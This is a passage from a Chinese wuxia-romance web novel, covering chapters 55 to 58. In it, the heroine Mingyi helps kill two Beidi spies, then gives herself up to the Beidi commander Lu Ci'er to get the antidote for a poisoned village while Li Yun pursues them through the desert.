却见下方一处峡谷一样的空地,四道身影正打得难解难分。 正是李赟陆浪和那两个北狄细作。 她不由得暗暗惊讶,这两人果真有些本事,竟能与李赟陆浪不分高下,而当她看清后,更是有些不可置信,因为对方说是两人,实则动手的大都只是那个小僧人明心,假昙迦一直躲在其身后。 原本她以为两人一直密不可分,是明心在保护假昙迦。 但很快就发觉不太对劲。 她隐约看到那假昙迦似乎一直在说话,只是风沙声太大,她根本听不清楚。 眯眼看了半晌,才恍然大悟。 两人一直背靠背,不是单纯谁保护谁,而是那假昙迦一直在指点明心。 这两人,明心是剑,假昙迦是执剑之人。 要胜明心,得先杀了假昙迦。 李赟和沙狼显然早已发现,只可惜那两人合二为一,配合得天衣无缝,他们两个却毫无默契,因而始终未能成功将两人分开。 明宜摸了摸腕间袖箭。 然而天色太暗沉,缠斗的几人,又移形换影般,速度实在太快,若是射不准,只怕会伤到自己人。 就在她犹豫不决时,李赟与陆浪的两把刀再次撞在一起,后者明显动作迟疑,而李赟那一刀却是毫不犹豫。 陆浪捂着胸口退开两丈。 “小凉王,自己人能不能别下死手!” “谁与你是自己人?” 陆浪这一退,交缠的身影,立刻短暂分开, 明宜瞅准这空当,不再犹豫。 她举起右手,对上那两道身影。 细小的箭从袖□□出,随着风声没入夜色。 李赟和陆浪,眼睁睁看着那假昙迦额头忽然多了一支箭,下一刻,便摇晃着倒地。 明心顿时大惊失色:“师父!” 李赟没给他喘息的机会,果决挥刀上前。 没了师父指点,明心顿时动作大乱,只堪堪抵挡了李赟几招,便被他一刀砍中脖颈,鲜血瞬时喷涌而出,而后扑通一声倒地,顷刻间便没了动静。 明宜见假昙迦倒地,才确定自己射中。 她重重松了口气,缓缓起身。 陆浪和李赟不约而同朝岩顶看去,只见月色下,女子衣袍随风拂动,虽然看不清容貌,却也让两个男人心神都为之摇荡—— 作者有话说:这个文其实是满足我的武侠梦 第56章 第 55 章 鲁刺儿 “王爷, 虽然人不是我杀死的,但侯夫人用了我送的袖箭,是不是也算我一半功劳?我也不贪心, 给我一百两赏金便好。” 李赟从明宜身上回神, 转头瞥了眼男人,将带血的刀, 在地上人衣服上擦了擦, 随后收刀入鞘,冷哼一声道:“沙洲第一刀的名头, 莫非是靠不要脸得来的?” 抛下这句话, 他便疾步朝明宜的方向走去。 而此时的明宜, 正准备从岩顶跃下。 几丈高的岩壁, 她先是跳至中间突出一处做缓冲。 哪知,原本该安然落地的她, 却是掉入了一个坚硬的怀抱中。 男人带着汗味的灼热气息, 铺天盖地袭来。 明宜心头莫名一悸。 李赟也反应过来,自己刚刚打出了一身汗,怕熏到对方, 在她怔愣间, 赶紧将人放在地上, 然后又退后两步,恢复成一个恰到好处的距离。 “岩壁这么高,我担心你摔到。”他解释道。 明宜回神,讪讪笑了笑:“我有分寸的。” 说着欲盖弥彰般轻咳一声, 迈步便越过他,直接跑到陆浪那边。 确定地上两人已断气,而自己射中的正是那假昙迦的额头。 或许是已见惯了死亡, 此时她见到两具尸体,已没有任何畏惧,只有喜不自胜。 她转向陆浪,抬起右手,笑盈盈道:“没想到你这袖箭威力这么强,我还以为顶多伤到这人,没想到一箭毙命。” 陆浪笑道:“袖箭威力虽然不小,却也是靠侯夫人精湛的箭术。” “老天有眼罢了。”明宜笑着摇摇头,又问,“对了,我刚刚看到王爷的刀好像不小心伤到你,你怎么样?” 陆浪余光瞥到那道走过来的身影,轻笑道,“放心,小凉王的刀,没有想象中那么凶狠,不过一点小伤罢了。” 听在李赟耳中,却是在说他的刀没想象中厉害。 当然,陆浪也正是这个意思。 李赟沉着脸走过来,站在他与明宜中间,冷笑一声道:“沙洲第一刀,确实言过其实。” 明宜自认听得出这话中夹枪带棒。 刚刚不是还并肩作战么? 怎么又互相挤兑起来了? 不过仔细一想,方才两人也不算是并肩作战,只不过为了同一个目标,做同一件事罢了。 陆浪不以为意地拱拱手:“来日王爷若是方便,草民愿登门讨教两招。” 明宜还真是有点好奇,大宁武状元和小凉王的身手,到底谁胜一筹? 李赟轻蔑一笑:“一个流民,也有资格与本王比试?” 明宜:“……” 还想不想招揽人家流民之首了? 她赶紧伸手将人拉开了一步,道:“阿兄,北狄细作已除,总算是了了一桩大事。天色已晚,我们是回城中,还是先回东望村?” “先回东望村。”李赟道,“老族长已经提前准备好酒水等我们凯旋。” 几人正说着,楚飞终于带着几个卫兵,率先找到这处,先是气喘吁吁唤了声“王爷”,然后便看到地上两具尸体,顿时激动高呼,“我就知道王爷定能斩杀这两个北狄贼子!” 说着便率领众人齐齐高呼:“王爷英明!” 陆浪似笑非笑哼了声。 “都闭嘴!”李赟冷喝道,“养你们一群废物,关键时刻一点指望不上!” 这么多人竟是比不上一个女子。 不过明宜本就不是寻常女子。 楚飞几人赶紧噤声。 李赟又回过身瞥了眼陆浪,这流民之首有何资格取笑自己,刚刚他也不是对这两个细作束手无策? 那明心还是自己斩杀的呢! 不过他也懒得与对方一般见识,又吩咐道:“将这两人尸体收走,明日挂在城门上!” 楚飞忙招呼人干活。 明宜舒了口气,这才想起来问:“阿兄,你没受伤吧?” “未曾。”李赟听到她的关心,面色稍霁,摇摇头应道,又说,“我们走吧。” “嗯。”明宜随他往外走,走了几步,又想到什么似的,回头看了眼犹站在原地的人,“沙狼,你还不走?” “走!怎么不走?”陆浪笑道,“这破鬼城我可是半刻都不想多待。” * 因为两个细作被诛,返程路上,拖着尸首的众将士们,可谓是兴高采烈。 李赟当然也心情不错,虽然这些手下未出上力,但他也并未计较,放言回去都有嘉赏。 而他也很清楚,这次能顺利诛杀这两个北狄贼子,明宜那一箭功不可没。 但她那一箭,用的是沙狼所赠袖箭,他得等沙狼不在时,再好好与她说,免得那流民之首顺杆子往上爬,给自己脸上贴金。 他看着前方并肩而行的两人两马,嘴角往下撇了撇。 一个时辰后,马队顺利返回东望村。 “小凉王殿下将北狄贼子的尸首带回来啦!” 跑在最前面的阿蒙阿聪,还没勒马,便迫不及待高声呼喊,想要将这好消息立刻传进村子。 “不对!”明宜忽然听到身旁的陆浪开口。 她当然也发现了不对劲。 太安静了! 等着他们凯旋的村子,怎么可能如此安静? 她正疑惑着,只听李赟出声将准备下马往村内跑的阿蒙阿聪唤住:“别动!” 两人吓了一跳,顿时老老实实站住,错愕地回头看向他。 李赟望着灯光点点,安静无声的村内,抬手朝身后挥了挥,道:“村中有异,大家当心! 话音刚落。 原本只有屋舍内灯火摇曳的村子,忽然亮起一簇簇火把,瞬间将黑沉沉的夜色点亮。 与此同时,村口大门上方,蓦地升上几道身影,吊在半空微微晃动着。 因有了火把,众人几乎立刻看清了几个人影。 正是老族长和村子里几个年轻男子。 他们双目紧闭,人事不知,看起来应该是昏迷了过去。 阿蒙阿聪见状,失声大叫:“族长——” 楚飞带人拦住两人。 明宜想起先前在驿舍如芒在背的感觉,低声朝身旁眉头紧蹙的李赟道:“阿兄,那队胡商有问题!” 话音刚落,便见夜色中,几道身影出现在村内驿站屋顶之上。 正是那几个受伤胡商。 “是……是你们……”阿蒙哭喊着大叫,“我们好心救你们,你们为何恩将仇报?” 李赟沉声道:“他们不是胡商!” 屋顶的人不说话,只默默分为两排,齐齐为一道身影让开路。 紧接着,便见一道高大身影,从他们中间,缓缓走出来。 火光照耀下,赫然便是黑松驿那张虬髯满面的脸。 这人眼下高高立在屋顶之上,犹如阴曹地府走出来的厉鬼。 明宜脊背一阵发凉,轻呼出声:“鲁刺儿!” 她声音并不大,但鲁刺儿的耳力显然很不错。 他提着刀,朗声一笑:“又见面了,侯夫人!难为侯夫人还记得在下。” 这些日子,明宜虽然心里一直绷着一根弦,但自打大马营之后,鲁刺儿便销声匿迹,她也就慢慢松懈下来。 没想到,他竟然在这里等着自己。 陆浪低声道:“这是北狄的鲁刺儿?” 明宜默默点头,心中涌上一股不好的预感,只怕今晚这一劫是躲不掉了。 正想着,便听李赟冷声开口:“鲁刺儿,你要作甚?” 鲁刺儿朗声笑道:“多谢小凉王帮在下除掉两个心腹大患,好让我这趟回王庭给太子交差。” 李赟哂笑:“你觉得你能回去么?” 鲁刺儿道:“我们几个人,要从小凉王手中逃走,当然不可能。不过东望村几百条人命,不知能不能换我们几个的命?” 李赟:“你对东望村的人做了甚么?” “我不过是在他们用暮食之前,在他们水中下了点无色无味的剧毒。放心,服了这毒,只是像熟睡一般,并不痛苦。不过若是三个时辰内没有解药,他们便永远不会醒来。” 李赟银牙紧咬:“行!你给我解药,我把这两具尸首交给你,然后放你们走。” 鲁刺儿朗声大笑:“人死了便行,尸体于我有何用?我要的当然不是那两具无用的尸体。我要的是——”他缓缓抬手,指向明宜,“西平侯夫人!” 虽有预料,明宜还是心中一颤。 “你——”李赟勃然大怒,下意识抓住她的手,“痴心妄想!” 鲁刺儿不以为意地耸耸肩:“王爷你还有一个时辰可以慢慢考虑,是选东望村几百条人命,还是侯夫人?” 李赟哗的一声,从腰间抽出大刀:“鲁刺儿,我现在就取你狗命!” “阿兄——”明宜攥住他的手腕。 李赟转头望向她。 两人的脸在月色和火光中影影绰绰,却又清晰无比。 明宜第一次在李赟那双冷冽的灰眸中,看到显而易见的慌乱。 “弟妹……”李赟似是知道她要作何,反手将她的手紧紧攥在掌心,一字一句道:“绝对不行!” 明宜低声道:“我能从他手中逃走一次,就能逃走第二次。” 李赟摇头:“这次不一样。” 当然不一样,这里是沙洲,踏过这片大漠,便是北狄。 但她不可能放着几百东望村的性命不顾。 也不能让小凉王背上为她一个人,牺牲几百人的恶名。 这时一旁的陆浪低声问道:“这鲁刺儿为何要你?” 明宜无奈地摇摇头。 一次或许是好奇,二次是不甘,到现在已是势在必得。 “我绝不会让你跟他走。”李赟再次一字一句开口,攥着她的手愈发用力。 “阿兄,你相信我。”明宜一点点将手从他掌心挣脱开,顿了下,又补充一句,“你只能相信我。” “弟妹……” 也不知火光太亮,明宜竟然看到李赟的眸子,泛起了一层带着水雾的红光。 她的心忽然突突跳起来。 比刚刚听到鲁刺儿要自己,跳得更快。 这可是在佛堂眼也不眨杀堂兄,胞弟落葬也未曾掉泪的小凉王李赟。 他怎会因为自己…… 明宜不愿多想,她抿了抿唇:“阿兄,若是没有你的庇护,我只怕早已被这贼人掳走,是跟着你来沙洲,我才安然无恙这么多天,见识了河西风光,也做了许多曾经想也不敢想的事,就算回不来,我也没什么遗憾,阿兄不用自责。” “不行!”李赟似乎只会这一句话。 明宜没再和他多说,只昂头看向屋顶的男子,高声道:“鲁刺儿,你把解药给我们,我跟你走!” —— 作者有话说:男二猝不及防出场。 哦,已经不是男二了。 第57章 第 56 章 三娘子嫁给我不吃亏 “好!”屋顶上的男人拍拍手, “我就知道能让我鲁刺儿连着栽两次跟头的女子,绝不是一般人。侯夫人放心,解药一个时辰内, 定然会有人送到。” 见李赟一动不动望着他, 隔着老远的距离,也能感觉到那眼神仿佛要将他生吞活剥一般, 他不以为意地扬眉一笑:“小凉王, 我鲁刺儿说话算话,也一向不滥杀无辜, 只要你和你的人安心在这里等一个时辰, 东望村三百五十六人, 一个都不会少。但如果你们在解药到之前, 便追过来,那解药恐怕就到不了了。” 李赟没说话, 因为他能说出的就只有一句“不行”, 但眼下却不能不行。 鲁刺儿抬手打了个呼哨,几匹马儿从村内哒哒跑出来,停在他们所在的屋下。 几人飞身从屋顶一跃而下, 稳稳坐上马背。 “驾!” 他领着人从李赟身旁越过, 朝明宜招招手, 高声道:“走了,侯夫人!” 明宜咬咬牙,到底是牵起缰绳,调转马头。 “三娘——”李赟艰难开口唤了一声。 却不是唤“弟妹”。 明宜喉咙滑动了下, 没有回头去看他。 身下御风磨磨蹭蹭,不愿离开芙蓉,被她抽了两鞭子, 才依依不舍撒开丫子。 不过到底是胡野马,见着前后奔跑的人马,很快就嗷嗷叫着兴奋跑起来。 看着人马渐渐消失在夜色中,陆浪试探开口:“王爷,您真就让那鲁刺儿把侯夫人带走了?” 李赟望着黑夜中渐渐模糊的身影,比起胸前中的熊熊怒火,更让他煎熬的是从未有过的惊惶。 哪怕是他再如何强撑着,这情绪也从眸中泄出来。 陆浪见状,轻咳一声,道:“他们让王爷和王爷的人在这里等一个时辰,可我又不是王爷的人。” 说罢,扬鞭一挥。 “小凉王,我去追侯夫人了,你说我若是英雄救美,她会不会以身相许?” 丢下这句话后,他人也没入了夜色中。 “王爷!我们……”楚飞走过来小心翼翼拱手道。 李赟闭眼深吸一口气,冷声道:“把族长放下来,等一个时辰。” “哦。” 虽然对方没有多余的话,但楚飞看得出眼下的王爷与往常任何时候都不一样。 哪怕以前战场被困,命悬一线时,对方也从未露出过这般惊惶无助的神色。 他什么也不敢多说,只老老实实在一旁等着吩咐。 * 明宜想故意放缓骑马速度,但那鲁刺儿就在一旁,时不时给御风来一马鞭。 马儿再如何有灵性,到底也只是畜生,只知跑得慢便要挨鞭子,并不知自己越是用力狂奔,便越快将马背上的主人,带去万劫不复之路。 “叶护,有人追来了!”不知过了多久,跑在后面的一人,高声喊道。 鲁刺儿回头一看,果然见到夜色下,遥遥一道黑影跟上来,他嗤笑道:“小凉王这是不守信么?那我也要违背承诺了。” 明宜也瞥了眼后方,赶紧大声道:“这是沙狼,不是王爷的人,王爷没有失信?” 鲁刺儿大笑:“原来如此,侯夫人放心,我也会让人按时送去解药。”说着用力甩了一鞭子在御风后臀,高声道,“我们快点,将后面的人甩开!” 他们的坐骑,显然都是擅长长途奔袭的宝驹,即使是御风这匹野胡马,也只能勉强跟上。 不过倒是激发了马儿的斗志,跑得那叫一个欢快,两条短腿快跑出残影。 陆浪没能追上来,但他们也没将人彻底甩掉。 夜风渐起,吹散了一路踪迹。 明宜很清楚李赟这句“这次不一样”是什么意思? 这是茫茫大漠,往西便是西域,往北便是北狄,一旦他们走出沙洲,就如泥牛入海,更别提自己若真被掳去北狄。 只怕这一趟确实是有去无回。 * 月上中天,转眼便已行至一个时辰。 原本的茫茫沙漠戈壁前方,忽然出现一片绿洲。 鲁刺儿高声道:“前面是葫芦河,我们下马休息片刻,便渡河北上。” 明宜勒了马,下意识回头看了眼后方。 鲁刺儿走到她下方,从袖子里掏出一只果子放在御风跟前,马儿顿时兴高采烈咬进口中享用。 鲁刺儿摸了摸御风脑袋,抬头看向明宜,笑道:“侯夫人,盼着后面那匹沙狼来救你呢?” 明宜不置可否。 “下来吧,喝点水吃点干粮,才好继续上路。” 明宜下了马。 对方递过一块馕饼和肉干,她没接,自己从马鞍上取下水囊和干粮袋子。 就在她缓缓举起手时,鲁刺儿忽然一把攥住她的右手腕。 明宜面色大惊,想要挣脱,可对方的手跟铁钳一样,根本撼动不了一丝半毫。 鲁刺儿另一只手伸入她袖口,下一刻她绑在手腕的袖箭,便到了对方手中。 男人将这小玩意儿拿在手中颠了颠,扯了扯嘴角:“袖箭虽然方便,但只在二三十米内才有杀伤力。侯夫人要玩箭,回头我给你一支大弓,这小玩意儿我就先替你保存了。” 明宜心下一沉,原本还指望寻机会用袖箭偷袭对方,然后再逃走。 看来这条路是没了。 将袖箭收好后,鲁刺儿从马背上取下弓箭,道:“侯夫人,你来点评一下我的箭术如何?” 明宜一抬头,果然见一道黑影,在月色下由远而近赶来。 鲁刺儿是要射杀陆浪。 明宜神色大变,在对方射出第一箭时,下意识抓住了对方手臂。 砰的一声,利箭划破静谧夜空,堪堪从马上的人身旁侧擦过。 鲁刺儿啧了声,歪头看向抓着自己手腕的手:“这一箭不算,是侯夫人干扰了我。再来!” 他又从箭筒抽出三根箭,夹在指缝中,全部上弦。 明宜再次抓住他的手腕。 鲁刺儿也不挣开,只歪头看她一眼,笑道:“侯夫人又要干扰我么?这回可没那么容易了。” 明宜只觉得掌中手腕似是忽然青筋暴起,瞬间坚硬如石,她用力去拉,对方却是纹丝不动。 砰砰砰—— 三箭连发。 第一支射向陆浪左胸。 若是他本能往右一偏,那么等待他的便是右边紧跟而来的第一支。 幸而陆浪经验丰富,在第一支箭射来时,他直接往后倒去。 连着两支箭,从他上方飞过。 但第三箭却是射向他身下奔跑的芙蓉。 砰—— 准确无误射中了马儿大腿。 芙蓉吃痛地嘶鸣一声,一头栽倒在地,连带着陆浪也被甩下来。 御风听到这动静,撒丫子便往回跑去。 明宜也拔腿就跑。 鲁刺儿并没有拦她。 但明宜跑了几步,就觉得不对劲,转头一看,却见不仅是鲁刺儿手中弓箭再次上弦,他周围那十几人,此时都藏在草木丛中拉了弓,齐齐对上了正迎面跑来的陆浪。 “陆浪,当心!”明宜顿时一个激灵,扯着嗓子大叫。 下一刻,一道道利箭便从四面八方越过她,朝陆浪射过去。 陆浪手中刀已出鞘。 箭矢和刀刃的碰撞,溅起星星点点火花,在夜空中发出尖锐刺耳的声音。 不愧是沙洲第一刀,十几支齐发的箭断在他刀下。 明宜刚刚松了一口气,却见嗖的一声,从她身后传来。 “当心!”陆浪高声唤道,人也朝她冲过来。 明宜脊背一凉,却不敢乱动。 一支利箭从她耳畔掠过,卷起几根凌乱的发丝,继续向前。 电光火石之间,陆浪闪避已经来不及。 明宜眼睁睁看着那支箭钉入了他的肩头。 他痛呼一声,顺着这箭矢的力量倒在地上。 但下一刻,边用左手大刀撑住身子。 正要站起来时,鲁刺儿的身影已经飞掠他跟前,一柄锃亮的弯刀,架在他脖颈。 “久闻沙洲第一刀的大名,一直想讨教几招,可惜今晚没工夫陪你玩儿。” 陆浪冷哼一声,抬手折断刺入肩头的箭。 “这箭上有毒,我劝你别乱动。” 陆浪微微一怔,抬头望向他,然后讥诮一笑:“看你长相并非北狄人,北狄人的无耻行径倒是学了十成。有本事就光明正大打一架,四处下毒算是什么男儿?” 鲁刺儿不以为意一笑:“我又不是你这种行侠仗义的游侠,要什么光明正大?”顿了顿,又补充一句,“可惜啊,大侠今晚这出英雄救美到的戏码是演不成了。” “鲁刺儿!”明宜忽然出声唤道,“你放了他,我保证老老实实跟你走!” 鲁刺儿挑挑眉,收回手中弯刀:“放心,我说了不会滥杀无辜。箭上的毒药不致命,只是会让他瘫软一两个时辰。” 说着便大摇大摆转身,陆浪准备起身,可双腿却是一软,再次跌坐在地。 明宜深吸一口气,道:“陆浪,多谢你来救我,但到这里就好了,你保重!” 说罢,唤了声“御风”。 御风虽然担心受伤的芙蓉,听到主人的呼唤,也还是依依不舍地转头。 明宜又看了眼地上满脸担忧挫败的陆浪,最终决然转头。 陆浪望着月色下那道清瘦背影,咬咬牙一拳捶在地上。 * “走,侯夫人,我们渡河!”鲁刺儿再次上马,朝明宜唤了声。 明宜骑上御风,冷着脸跟在他身后。 他们显然对这段路线很熟悉,渡河的地方水位很浅,不过刚刚没过御风小腿。 “过了这条河,再往北跑个四五天,便是马鬃山,翻过马鬃山,就是北狄的地盘了。”鲁刺儿道,“到时候,你就再不是西平侯夫人,而是我鲁刺儿的未婚妻。这样吧,从现在开始,我便不叫你侯夫人。对了,你叫什么名字?” 明宜冷哼一声,懒得搭理他。 鲁刺儿道:“我听那齐王殿下叫你三娘子,我也叫你三娘子好了,等我们成亲,我再叫你夫人。” 旁边有人用北狄话轻佻道:“叶护,这位大宁的贵夫人,好像不待见你,要不然你把她赏给属下好了,我还没试过这么细皮嫩肉的长安贵女呢!!” 明宜恨不得拔刀宰了这些蛮人。 不料,鲁刺儿面色一沉,冷声道:“闭嘴!这是你们未来的叶护夫人,若敢对她有任何不敬,我剥了你们的皮。”说着又转头笑眯眯对她道,“三娘子别跟这些粗野莽夫一般见识。” 明宜冷哼一声。 鲁刺儿不以为意笑道:“放心吧三娘子,北狄王庭,水草丰茂,牛羊成群。我乃是拔延部叶护,北狄太子心腹,北狄第一勇士,年方弱冠,三娘子嫁给我不吃亏,我也定会好好待你。” 明宜心中讶异,这么危险的人物竟然才弱冠? 鲁刺儿又笑道:“而且我容貌俊美,若是在你们长安城,定是美男子。” 明宜瞥了眼满面浓须的家伙,嗤了声,显然对此不以为然—— 作者有话说:鲁刺儿就是那个谁,大家知道的。 第58章 第 57 章 变天 与此同时, 东望村门口,耐心快耗尽的李赟,终于看到一匹马奔腾而来。 那马上的男人看到门口的兵卒, 吓得赶紧勒了马, 趔趄着落在地上,拱手道:“各位军爷, 不知东望村发生了何事?” “你是何人?来东望村何事?”楚飞上前冷喝道。 男人哆哆嗦嗦回道:“回大人, 小的妻小昨日被人抓去,说让我这个时候务必将一样东西送来东望村, 不能早也不能迟, 方才能再见到妻小。” 楚飞:“还不快把东西交来!” 男人忙掏出一个纸包递给他。 楚飞打开闻了闻, 走到李赟跟前, 低声道:“王爷,应该是解药。” “去喂给族长。” 楚飞不敢耽搁, 赶紧拿了药喂给躺在一旁的族长 不过须臾间, 族长便悠悠转醒。 楚飞大喜:“王爷,那鲁刺儿没骗人。” 话音未落,李赟已经飞身上马:“你们留几个救人, 其余人跟我走!!” 说罢, 便扬鞭策马飞驰而去。 楚飞慌忙吩咐几个人留下, 自己则率领其余人跟上去。 李赟骑得很快,但再快又有何用,风沙掩埋了马蹄踪迹,通往北狄的路线不知凡几, 差之毫厘,谬以千里。 天渐渐亮了,他们从西到东, 没发现任何踪迹。 及至一道牵着马匹的身影,出现在晨曦之下。 “是沙狼!”楚飞大叫。 李赟眯了眯眼睛,沙狼走得很慢,全然没平日的潇洒不羁,待其稍稍走进,才发觉一人一马都受了伤。 陆浪也没行礼,远远便道:“王爷,鲁刺儿带侯夫人过了葫芦河,应是打算穿过马鬃山回北狄,至于从哪边走,就不得而知了。” 李赟冷着一张脸没说话,只挥动鞭子朝他所说方向飞驰而去。 “王爷,请务必将侯夫人救回来!” 回应他的,只有李赟冷厉的一声“驾——”。 * 行至第四天,明宜没能等来小凉王,也不清楚自己到了哪里,只知出了沙洲,应还在瓜州境内。 这一路来皆是荒漠戈壁,几乎了无人烟,根本辨不清方向,她也不知如何留下信号。 李赟纵有通天本事,只怕也追不上来。 唯一庆幸是,这几日,鲁刺儿并没有对自己有过任何逾矩之举。 但若真被他掳去北狄,难免要被迫嫁给对方。 她倒不会做什么贞洁烈女,只是想再回大宁,只怕是要等开战,李赟大败北狄才行。 届时说不定自己还要被当做人质。 “三娘子,前面有一村落,咱们能好好吃上一顿了,然后就要进入马鬃山,那可是地无走兽,天无飞鸟的荒蛮之地,三娘子得跟我们苦上几天了。” 明宜在书上看过,这马鬃山便是唐玄宗天竺取经路过的流沙河,环境极其险恶。 去北狄并不一定要翻过这座山,东西两麓皆有更方便的路,对方选择这条最艰险的,显然是为了防止李赟追上来。 果不其然,过没多久,前方便出现一个村落。 说是村落,其实不过是沙海腹地的几个毡帐,应是在此放牧为生的人们。 “阿七,你来啦!” 还没下马,毡帐内听到动静的几人,跑出来一看,立刻兴奋叫道。 “莫大娘,你们最近可好?”鲁刺儿朗声问道。 出来的是几个妇人,模样看不出是哪里人,总共只是寻常百姓。 打头的妇人许就是那莫大娘,只听她回道:“还好!就是十天半月也见不到一个人影,想换些有用的物什都难。” 鲁刺儿招招手,他几个手下从马上解下五六个包袱上前。 “这里是盐巴茶叶和布匹,能不能换你们一点吃食?” 莫大娘喜笑颜开:“当然能,我们就缺这些东西。”说着,又道,“若不是阿七每年差人给我们送这些东西,我们在这里只怕早就过不下去了。快进来!我们这就为郎君们准备粗茶淡饭!” 眼下正是晌午。 这个时节,白天已经不再炎热,但日头依旧很烈,风餐露宿几天,一进这毡帐,明宜只想不管不顾睡上一觉。 实际上,她也确实躺着了。 “哟,原来这是个小娘子。这是长途跋涉累着了。来来来,我来给你泡杯热茶解解乏。”莫大娘从小泥炉上拿了水壶,一边替明宜泡茶,一边问旁边正咕咚咕咚灌着凉水的鲁刺儿,“阿七,第一次见你带小娘子,不会是你家娘子吧?” 鲁刺儿擦了把胡须上的水渍,笑道:“还没过门呢,等回漠北拜堂成亲了才是。” “那便是未婚夫妻了。”莫大娘把茶水放在明宜跟前,打量她一眼,然后笑呵呵道,“小娘子是大户人家出来的吧?千里迢迢跟着阿七你去漠北,你可要好好待人家?” “放心吧,我肯定不会让娘子跟我受苦的。” 明宜稍稍坐起身,端起茶水吹了吹,轻轻呷了两口,原本她是懒得插话的,但到底是没忍住,故作泫然欲泣状:“不瞒大娘,我是被这贼人掳来的!” 莫大娘先是怔了下,继而又大笑道:“阿七,你是不是这一路上惹小娘子生气了?” 鲁刺儿笑道:“可不是么?我这娘子从小锦衣玉食,这几日风餐露宿,跟我吃了不少苦,闹着要回家呢!” 莫大娘闻言,笑眯眯凑到明宜跟前,安慰道:“漠北的日子,定是比不上你们河西大户人家,但小娘子,你信我莫大娘,阿七定是个值得托付终身的好郎君。你看我们村子,以前在漠北边境,不是打仗就是被沙匪滋扰,实在是怕了,最终找到这片无人的绿洲,去北狄要越过翻过马鬃山,去敦煌张掖要跨过茫茫沙海,就算是两国打仗,也不会从这里,沙匪更不会到此滋事。唯一麻烦就是去最近的集市,骑马都要几天,何况我们也没有赚钱的营生。幸好阿七的商队,时常来往两边,给我们带来了不少好东西。” 明宜瞥了眼鲁刺儿,看来这人经常扮做商队去河西。 难怪那日在东望村,她一眼没看出问题。 不过听莫大娘的话,这个鲁刺儿倒不似传闻中那么可怕。 实际上这两三日下来,她确实发觉这家伙跟自己预想的有些不一样。 他说自己弱冠之年,应是不假,看得出颇有几分少年心性。 比如比起喝酒,他似乎更爱吃糖,没事就含上一颗。 休息的时候,喜欢和手下们嬉笑打闹,夜晚围着篝火载歌载舞。 有时候甚至有几分不谙世事的天真。 但若当真觉得他天真,那又实在是可笑。 这几日,他们穿行大漠,只遇到了一伙流民,说是流民,实则是沙匪。 这些沙匪以为他们是普通商队,不知死活地上来劫掠。 鲁刺儿不仅没留活口,其中两人还是被他骑马拖在地上,玩游戏一般,将人硬生生折磨死。 若真是天真,那也是一种残酷的天真。 而他那些手下,看着如兄弟一般亲近,却对他言听计从。 可见他是真有点本事。 正想着,感觉到一道目光正灼灼盯着自己。 明宜转头,果然是鲁刺儿正望着自己。 他眉眼狭长,远看不觉,近看方才觉得与那一脸浓须有些违和。 她扯了扯嘴角:“想不到阿七还是个热心肠。” 鲁刺儿挑挑眉头,啧了声:“说得我原本多冷酷无情似的。放心吧,顶多再让娘子跟着我吃几天苦。” 明宜冷笑:“那也得看你有没有本事回到北狄。” 鲁刺儿也笑:“怎么?娘子想弑夫不成?” 她低低啐了口:“无耻!” 这一路,她确实想过杀死他,但始终没寻到机会,而且就算偷袭成功又能如何? 他还有十几个手下,除非自己一并全除掉。 可自己实在没这个本事。 当真杀了他,自己也活不成。 她正值妙龄,人生才刚刚开始,可不想就此葬身沙海。 鲁刺儿不以为意,笑着凑到她跟前:“三娘子,你可真是有趣,我都迫不及待想想娶你过门了!” 明宜翻了个白眼,兀自喝茶,懒得再理他。 鲁刺儿却是乐不可支,像是得了趣一样哈哈大笑。 他将人掳走时,本已做好了这西平侯夫人一哭二闹三上吊,或者时不时准备给他来一个鱼死网破。 没想到这几日,对方不仅配合得不得了,甚至也并未表现出什么害怕,反倒是该吃吃该喝喝,周边一群大男人,也照旧睡得深沉。 他想好的各种化解之道——恐吓也好,惩治也罢,倒是一点没用上。 将人掳走,本是因为两次失败的不甘心所致,这几天下来,他却是当真觉得这女子很有意思。 他在漠北乃是异族,若是有这样一个同为异族的女子相伴,日子想必会有趣很多。 明宜实在被他这肆无忌惮的目光看得有些烦了,压低声音恶狠狠道:“我总有一天剐了你的眼睛!” 鲁刺儿大笑:“我等着。” 为了欢迎鲁刺儿一行,莫大娘让人宰了一只羊,用一只大铁锅炖上,又放了胡椒白芷,和鲁刺儿带来的盐巴。 半个时辰后,整个毡帐内都是让人垂涎欲滴的肉香。 连着三天只吃干巴巴的馕饼和肉干,终于能吃上一顿热气腾腾的炖羊肉,明宜是一点没客气,连吃了两碗,又喝了一大碗羊汤,直到肚子装不下了,才念念不舍放下碗筷。 * “阿七,你看这些吃食够了么?不够我再给你们宰一只羊带上。” 鲁刺儿拍拍装得满满当当包袱:“够了。”说罢,掏出一枚银饼递给莫大娘,“天凉了,早些去集市采买些米面过冬。” 莫大娘捧着沉甸甸的银饼,眉开眼笑道:“阿七你真是太客气了。” “若是没有你们的吃食,我们可穿不过马鬃山。”说着摆摆手,“我们走啦!” 又看向犹坐着的明宜,朝她挑挑眉。 明宜本想拖延一会儿,但想着大约也无济于事,也不好这些给这些无辜百姓添麻烦,只得不情不愿的起身。 * 而在他们进入马鬃山时,李赟也到了山下。 他们在大漠找了整整三天,却始终没寻到鲁刺儿一行的踪迹。 “王爷,咱们歇歇吧,您都三天三夜没阖眼了。” 这几天,马儿跑累了会休息,但李赟却眯都没眯一会儿。 楚飞见他一双灰眸像是渗了血一般,煞是吓人,也不管会不会讨骂,拉着他便劝道。 天已经黑透,那马鬃山他们都没去过,却知此地艰难险阻,寸草不生,绵延几百里,天知道那鲁刺儿从哪边走? 而过了马鬃山就是北狄的地盘,若一直追踪不到二夫人,难不成王爷还要去北狄救人? 见李赟对他的话置若罔闻,楚飞咬咬牙又道:“王爷,此番实在凶险,沙洲募兵买马还等你主持大局。我知道你担心二夫人,但也不能因她一个人,误了大事啊!” 李赟冷冷望向他,布满红血丝的眼睛,像是染了血一般,而后薄唇轻启,一字一句冷声道:“三娘就是最大的事!” 楚飞被他的表情,吓得瑟缩了下,又赶紧找补道:“我的意思是,接下来,我带人去追踪,况且我们也给北狄那边的暗线飞鸽传书,一旦有二夫人的消息,便全力营救。” 李赟没再说话,只冷声道:“都休息好了么?休息好了,我们继续上路。” 楚飞不敢再说什么,只能老老实实准备启程。 就在这时,身后忽然传来一阵马蹄。 楚飞转头一看,立刻惊喜道:“是秦娘子!” 他们寻不到踪影,便派了人去通知秦梦,对方做了十来年沙匪,对这一片沙海定是比他们这些兵卒熟悉。 